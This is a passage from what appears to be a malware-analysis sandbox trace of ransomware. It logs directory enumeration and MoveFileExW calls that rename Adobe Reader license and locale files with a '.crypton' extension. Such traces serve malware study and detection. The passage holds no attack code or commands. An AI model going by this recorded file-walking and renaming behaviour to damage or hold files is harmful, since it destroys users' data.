(x86)\\adobe\\reader 10.0\\reader\\legal\\kor\\license.html.crypton"), dwFlags=0x2) returned 1 [0143.951] FindFirstFileA (in: lpFileName="C:\\\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Legal\\NLD\\*", lpFindFileData=0x4aa078 | out: lpFindFileData=0x4aa078*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x81dce140, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0xd327daa0, ftLastAccessTime.dwHighDateTime=0x1d5c259, ftLastWriteTime.dwLowDateTime=0xd327daa0, ftLastWriteTime.dwHighDateTime=0x1d5c259, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x39000c35, cFileName=".", cAlternateFileName="")) returned 0x549850 [0143.977] MoveFileExW (lpExistingFileName="C:\\\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Legal\\NLD\\license.html" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\legal\\nld\\license.html"), lpNewFileName="C:\\\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Legal\\NLD\\license.html.crypton" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\legal\\nld\\license.html.crypton"), dwFlags=0x2) returned 1 [0143.984] FindFirstFileA (in: lpFileName="C:\\\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Legal\\NOR\\*", lpFindFileData=0x4aa078 | out: lpFindFileData=0x4aa078*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x81da7fe0, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0xd32efec0, ftLastAccessTime.dwHighDateTime=0x1d5c259, ftLastWriteTime.dwLowDateTime=0xd32efec0, ftLastWriteTime.dwHighDateTime=0x1d5c259, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x39000c35, cFileName=".", cAlternateFileName="")) returned 0x549850 [0144.012] MoveFileExW (lpExistingFileName="C:\\\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Legal\\NOR\\license.html" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\legal\\nor\\license.html"), lpNewFileName="C:\\\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Legal\\NOR\\license.html.crypton" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\legal\\nor\\license.html.crypton"), dwFlags=0x2) returned 1 [0144.019] FindFirstFileA (in: lpFileName="C:\\\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Legal\\POL\\*", lpFindFileData=0x4aa078 | out: lpFindFileData=0x4aa078*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x80a76e80, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0xd333c180, ftLastAccessTime.dwHighDateTime=0x1d5c259, ftLastWriteTime.dwLowDateTime=0xd333c180, ftLastWriteTime.dwHighDateTime=0x1d5c259, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x39000c35, cFileName=".", cAlternateFileName="")) returned 0x549850 [0144.053] MoveFileExW (lpExistingFileName="C:\\\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Legal\\POL\\license.html" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\legal\\pol\\license.html"), lpNewFileName="C:\\\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Legal\\POL\\license.html.crypton" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\legal\\pol\\license.html.crypton"), dwFlags=0x2) returned 1 [0144.061] FindFirstFileA (in: lpFileName="C:\\\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Legal\\PTB\\*", lpFindFileData=0x4aa078 | out: lpFindFileData=0x4aa078*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x81d81e80, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0xd3388440, ftLastAccessTime.dwHighDateTime=0x1d5c259, ftLastWriteTime.dwLowDateTime=0xd3388440, ftLastWriteTime.dwHighDateTime=0x1d5c259, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x39000c35, cFileName=".", cAlternateFileName="")) returned 0x549850 [0144.091] MoveFileExW (lpExistingFileName="C:\\\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Legal\\PTB\\license.html" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\legal\\ptb\\license.html"), lpNewFileName="C:\\\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Legal\\PTB\\license.html.crypton" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\legal\\ptb\\license.html.crypton"), dwFlags=0x2) returned 1 [0144.098] FindFirstFileA (in: lpFileName="C:\\\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Legal\\RUM\\*", lpFindFileData=0x4aa078 | out: lpFindFileData=0x4aa078*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x80a76e80, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0xd33fa860, ftLastAccessTime.dwHighDateTime=0x1d5c259, ftLastWriteTime.dwLowDateTime=0xd33fa860, ftLastWriteTime.dwHighDateTime=0x1d5c259, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x39000c35, cFileName=".", cAlternateFileName="")) returned 0x549850 [0144.129] MoveFileExW (lpExistingFileName="C:\\\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Legal\\RUM\\license.html" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\legal\\rum\\license.html"), lpNewFileName="C:\\\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Legal\\RUM\\license.html.crypton" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\legal\\rum\\license.html.crypton"), dwFlags=0x2) returned 1 [0144.138] FindFirstFileA (in: lpFileName="C:\\\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Legal\\RUS\\*", lpFindFileData=0x4aa078 | out: lpFindFileData=0x4aa078*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x80a50d20, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0xd3446b20, ftLastAccessTime.dwHighDateTime=0x1d5c259, ftLastWriteTime.dwLowDateTime=0xd3446b20, ftLastWriteTime.dwHighDateTime=0x1d5c259, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x39000c35, cFileName=".", cAlternateFileName="")) returned 0x549850 [0144.287] MoveFileExW (lpExistingFileName="C:\\\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Legal\\RUS\\license.html" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\legal\\rus\\license.html"), lpNewFileName="C:\\\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Legal\\RUS\\license.html.crypton" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\legal\\rus\\license.html.crypton"), dwFlags=0x2) returned 1 [0144.294] FindFirstFileA (in: lpFileName="C:\\\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Legal\\SKY\\*", lpFindFileData=0x4aa078 | out: lpFindFileData=0x4aa078*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x80a50d20, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0xd35c38e0, ftLastAccessTime.dwHighDateTime=0x1d5c259, ftLastWriteTime.dwLowDateTime=0xd35c38e0, ftLastWriteTime.dwHighDateTime=0x1d5c259, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x39000c35, cFileName=".", cAlternateFileName="")) returned 0x549850 [0144.328] MoveFileExW (lpExistingFileName="C:\\\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Legal\\SKY\\license.html" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\legal\\sky\\license.html"), lpNewFileName="C:\\\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Legal\\SKY\\license.html.crypton" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\legal\\sky\\license.html.crypton"), dwFlags=0x2) returned 1 [0144.339] FindFirstFileA (in: lpFileName="C:\\\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Legal\\SLV\\*", lpFindFileData=0x4aa078 | out: lpFindFileData=0x4aa078*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x80a50d20, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0xd3635d00, ftLastAccessTime.dwHighDateTime=0x1d5c259, ftLastWriteTime.dwLowDateTime=0xd3635d00, ftLastWriteTime.dwHighDateTime=0x1d5c259, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x39000c35, cFileName=".", cAlternateFileName="")) returned 0x549850 [0144.366] MoveFileExW (lpExistingFileName="C:\\\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Legal\\SLV\\license.html" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\legal\\slv\\license.html"), lpNewFileName="C:\\\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Legal\\SLV\\license.html.crypton" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\legal\\slv\\license.html.crypton"), dwFlags=0x2) returned 1 [0144.372] FindFirstFileA (in: lpFileName="C:\\\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Legal\\SUO\\*", lpFindFileData=0x4aa078 | out: lpFindFileData=0x4aa078*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x81dce140, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0xd3681fc0, ftLastAccessTime.dwHighDateTime=0x1d5c259, ftLastWriteTime.dwLowDateTime=0xd3681fc0, ftLastWriteTime.dwHighDateTime=0x1d5c259, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x39000c35, cFileName=".", cAlternateFileName="")) returned 0x549850 [0144.400] MoveFileExW (lpExistingFileName="C:\\\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Legal\\SUO\\license.html" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\legal\\suo\\license.html"), lpNewFileName="C:\\\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Legal\\SUO\\license.html.crypton" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\legal\\suo\\license.html.crypton"), dwFlags=0x2) returned 1 [0144.406] FindFirstFileA (in: lpFileName="C:\\\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Legal\\SVE\\*", lpFindFileData=0x4aa078 | out: lpFindFileData=0x4aa078*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x81d81e80, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0xd36f43e0, ftLastAccessTime.dwHighDateTime=0x1d5c259, ftLastWriteTime.dwLowDateTime=0xd36f43e0, ftLastWriteTime.dwHighDateTime=0x1d5c259, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x39000c35, cFileName=".", cAlternateFileName="")) returned 0x549850 [0144.433] MoveFileExW (lpExistingFileName="C:\\\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Legal\\SVE\\license.html" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\legal\\sve\\license.html"), lpNewFileName="C:\\\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Legal\\SVE\\license.html.crypton" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\legal\\sve\\license.html.crypton"), dwFlags=0x2) returned 1 [0144.440] FindFirstFileA (in: lpFileName="C:\\\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Legal\\TUR\\*", lpFindFileData=0x4aa078 | out: lpFindFileData=0x4aa078*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x80a50d20, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0xd37406a0, ftLastAccessTime.dwHighDateTime=0x1d5c259, ftLastWriteTime.dwLowDateTime=0xd37406a0, ftLastWriteTime.dwHighDateTime=0x1d5c259, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x39000c35, cFileName=".", cAlternateFileName="")) returned 0x549850 [0144.474] MoveFileExW (lpExistingFileName="C:\\\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Legal\\TUR\\license.html" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\legal\\tur\\license.html"), lpNewFileName="C:\\\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Legal\\TUR\\license.html.crypton" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\legal\\tur\\license.html.crypton"), dwFlags=0x2) returned 1 [0144.480] FindFirstFileA (in: lpFileName="C:\\\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Legal\\UKR\\*", lpFindFileData=0x4aa078 | out: lpFindFileData=0x4aa078*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x80a50d20, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0xd378c960, ftLastAccessTime.dwHighDateTime=0x1d5c259, ftLastWriteTime.dwLowDateTime=0xd378c960, ftLastWriteTime.dwHighDateTime=0x1d5c259, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x39000c35, cFileName=".", cAlternateFileName="")) returned 0x549850 [0144.611] MoveFileExW (lpExistingFileName="C:\\\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Legal\\UKR\\license.html" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\legal\\ukr\\license.html"), lpNewFileName="C:\\\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Legal\\UKR\\license.html.crypton" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\legal\\ukr\\license.html.crypton"), dwFlags=0x2) returned 1 [0144.618] FindFirstFileA (in: lpFileName="C:\\\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\*", lpFindFileData=0x4aaa20 | out: lpFindFileData=0x4aaa20*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x7d618a80, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0xd38e35c0, ftLastAccessTime.dwHighDateTime=0x1d5c259, ftLastWriteTime.dwLowDateTime=0xd38e35c0, ftLastWriteTime.dwHighDateTime=0x1d5c259, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x39000c35, cFileName=".", cAlternateFileName="")) returned 0x549810 [0144.624] FindFirstFileA (in: lpFileName="C:\\\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\ca_ES\\*", lpFindFileData=0x4aa078 | out: lpFindFileData=0x4aa078*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x7d853f20, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0xd3909720, ftLastAccessTime.dwHighDateTime=0x1d5c259, ftLastWriteTime.dwLowDateTime=0xd3909720, ftLastWriteTime.dwHighDateTime=0x1d5c259, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x39000c35, cFileName=".", cAlternateFileName="")) returned 0x549850 [0144.630] FindFirstFileA (in: lpFileName="C:\\\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\ca_ES\\Services\\*", lpFindFileData=0x4a96d0 | out: lpFindFileData=0x4a96d0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x81f24da0, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0xd3909720, ftLastAccessTime.dwHighDateTime=0x1d5c259, ftLastWriteTime.dwLowDateTime=0xd3909720, ftLastWriteTime.dwHighDateTime=0x1d5c259, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x39000c35, cFileName=".", cAlternateFileName="")) returned 0x549890 [0144.636] FindFirstFileA (in: lpFileName="C:\\\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\cs_CZ\\*", lpFindFileData=0x4aa078 | out: lpFindFileData=0x4aa078*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x7d7bb9a0, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0xd3909720, ftLastAccessTime.dwHighDateTime=0x1d5c259, ftLastWriteTime.dwLowDateTime=0xd3909720, ftLastWriteTime.dwHighDateTime=0x1d5c259, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x39000c35, cFileName=".", cAlternateFileName="")) returned 0x549850 [0144.643] FindFirstFileA (in: lpFileName="C:\\\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\cs_CZ\\Services\\*", lpFindFileData=0x4a96d0 | out: lpFindFileData=0x4a96d0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x81f971c0, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0xd392f880, ftLastAccessTime.dwHighDateTime=0x1d5c259, ftLastWriteTime.dwLowDateTime=0xd392f880, ftLastWriteTime.dwHighDateTime=0x1d5c259, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x39000c35, cFileName=".", cAlternateFileName="")) returned 0x549890 [0144.650] FindFirstFileA (in: lpFileName="C:\\\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\da_DK\\*", lpFindFileData=0x4aa078 | out: lpFindFileData=0x4aa078*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x7d723420, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0xd392f880, ftLastAccessTime.dwHighDateTime=0x1d5c259, ftLastWriteTime.dwLowDateTime=0xd392f880, ftLastWriteTime.dwHighDateTime=0x1d5c259, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x39000c35, cFileName=".", cAlternateFileName="")) returned 0x549850 [0144.655] FindFirstFileA (in: lpFileName="C:\\\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\da_DK\\Services\\*", lpFindFileData=0x4a96d0 | out: lpFindFileData=0x4a96d0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x81f971c0, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0xd39559e0, ftLastAccessTime.dwHighDateTime=0x1d5c259, ftLastWriteTime.dwLowDateTime=0xd39559e0, ftLastWriteTime.dwHighDateTime=0x1d5c259, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x39000c35, cFileName=".", cAlternateFileName="")) returned 0x549890 [0144.661] FindFirstFileA (in: lpFileName="C:\\\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\de_DE\\*", lpFindFileData=0x4aa078 | out: lpFindFileData=0x4aa078*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x7d723420, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0xd39559e0, ftLastAccessTime.dwHighDateTime=0x1d5c259, ftLastWriteTime.dwLowDateTime=0xd39559e0, ftLastWriteTime.dwHighDateTime=0x1d5c259, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x39000c35, cFileName=".", cAlternateFileName="")) returned 0x549850 [0144.668] FindFirstFileA (in: lpFileName="C:\\\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\de_DE\\Services\\*", lpFindFileData=0x4a96d0 | out: lpFindFileData=0x4a96d0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x81f71060, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0xd39559e0, ftLastAccessTime.dwHighDateTime=0x1d5c259, ftLastWriteTime.dwLowDateTime=0xd39559e0, ftLastWriteTime.dwHighDateTime=0x1d5c259, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x39000c35, cFileName=".", cAlternateFileName="")) returned 0x549890 [0144.674] FindFirstFileA (in: lpFileName="C:\\\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\es_ES\\*", lpFindFileData=0x4aa078 | out: lpFindFileData=0x4aa078*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x7d63ebe0, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0xd397bb40, ftLastAccessTime.dwHighDateTime=0x1d5c259, ftLastWriteTime.dwLowDateTime=0xd397bb40, ftLastWriteTime.dwHighDateTime=0x1d5c259, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x39000c35, cFileName=".", cAlternateFileName="")) returned 0x549850 [0144.678] FindFirstFileA (in: lpFileName="C:\\\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\es_ES\\Services\\*", lpFindFileData=0x4a96d0 | out: lpFindFileData=0x4a96d0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x81f24da0, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0xd397bb40, ftLastAccessTime.dwHighDateTime=0x1d5c259, ftLastWriteTime.dwLowDateTime=0xd397bb40, ftLastWriteTime.dwHighDateTime=0x1d5c259, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x39000c35, cFileName=".", cAlternateFileName="")) returned 0x549890 [0144.685] FindFirstFileA (in: lpFileName="C:\\\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\eu_ES\\*", lpFindFileData=0x4aa078 | out: lpFindFileData=0x4aa078*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x7d853f20, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0xd397bb40, ftLastAccessTime.dwHighDateTime=0x1d5c259, ftLastWriteTime.dwLowDateTime=0xd397bb40, ftLastWriteTime.dwHighDateTime=0x1d5c259, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x39000c35, cFileName=".", cAlternateFileName="")) returned 0x549850 [0144.691] FindFirstFileA (in: lpFileName="C:\\\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\eu_ES\\Services\\*", lpFindFileData=0x4a96d0 | out: lpFindFileData=0x4a96d0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x81f71060, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0xd39a1ca0, ftLastAccessTime.dwHighDateTime=0x1d5c259, ftLastWriteTime.dwLowDateTime=0xd39a1ca0, ftLastWriteTime.dwHighDateTime=0x1d5c259, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x39000c35, cFileName=".", cAlternateFileName="")) returned 0x549890 [0144.699] FindFirstFileA (in: lpFileName="C:\\\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\fi_FI\\*", lpFindFileData=0x4aa078 | out: lpFindFileData=0x4aa078*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x7d723420, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0xd39a1ca0, ftLastAccessTime.dwHighDateTime=0x1d5c259, ftLastWriteTime.dwLowDateTime=0xd39a1ca0, ftLastWriteTime.dwHighDateTime=0x1d5c259, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x39000c35, cFileName=".", cAlternateFileName="")) returned 0x549850 [0144.725] MoveFileExW (lpExistingFileName="C:\\\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\fi_FI\\accessibility.SUO" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\locale\\fi_fi\\accessibility.suo"), lpNewFileName="C:\\\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\fi_FI\\accessibility.SUO.crypton" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\locale\\fi_fi\\accessibility.suo.crypton"), dwFlags=0x2) returned 1 [0144.974] MoveFileExW (lpExistingFileName="C:\\\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\fi_FI\\Acroform.SUO" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\locale\\fi_fi\\acroform.suo"), lpNewFileName="C:\\\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\fi_FI\\Acroform.SUO.crypton" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\locale\\fi_fi\\acroform.suo.crypton"), dwFlags=0x2) returned 1 [0144.982] MoveFileExW (lpExistingFileName="C:\\\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\fi_FI\\AdobeCollabSync.SUO" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\locale\\fi_fi\\adobecollabsync.suo"), lpNewFileName="C:\\\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\fi_FI\\AdobeCollabSync.SUO.crypton" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\locale\\fi_fi\\adobecollabsync.suo.crypton"), dwFlags=0x2) returned 1 [0145.499] MoveFileExW (lpExistingFileName="C:\\\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\fi_FI\\Annots.SUO" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\locale\\fi_fi\\annots.suo"), lpNewFileName="C:\\\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\fi_FI\\Annots.SUO.crypton" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\locale\\fi_fi\\annots.suo.crypton"), dwFlags=0x2) returned 1 [0145.511] MoveFileExW (lpExistingFileName="C:\\\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\fi_FI\\BRdlang32.SUO" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\locale\\fi_fi\\brdlang32.suo"), lpNewFileName="C:\\\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\fi_FI\\BRdlang32.SUO.crypton" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\locale\\fi_fi\\brdlang32.suo.crypton"), dwFlags=0x2) returned 1 [0145.575] MoveFileExW (lpExistingFileName="C:\\\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\fi_FI\\Checkers.SUO" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\locale\\fi_fi\\checkers.suo"), lpNewFileName="C:\\\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\fi_FI\\Checkers.SUO.crypton" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\locale\\fi_fi\\checkers.suo.crypton"), dwFlags=0x2) returned 1 [0145.762] MoveFileExW (lpExistingFileName="C:\\\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\fi_FI\\DigSig.SUO" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\locale\\fi_fi\\digsig.suo"), lpNewFileName="C:\\\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\fi_FI\\DigSig.SUO.crypton" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\locale\\fi_fi\\digsig.suo.crypton"), dwFlags=0x2) returned 1 [0145.775] MoveFileExW (lpExistingFileName="C:\\\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\fi_FI\\DVA.SUO" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\locale\\fi_fi\\dva.suo"), lpNewFileName="C:\\\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\fi_FI\\DVA.SUO.crypton" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\locale\\fi_fi\\dva.suo.crypton"), dwFlags=0x2) returned 1 [0145.782] MoveFileExW (lpExistingFileName="C:\\\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\fi_FI\\eBook.SUO" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\locale\\fi_fi\\ebook.suo"), lpNewFileName="C:\\\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\fi_FI\\eBook.SUO.crypton" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\locale\\fi_fi\\ebook.suo.crypton"), dwFlags=0x2) returned 1 [0145.805] MoveFileExW (lpExistingFileName="C:\\\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\fi_FI\\EScript.SUO" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\locale\\fi_fi\\escript.suo"), lpNewFileName="C:\\\\Program Files 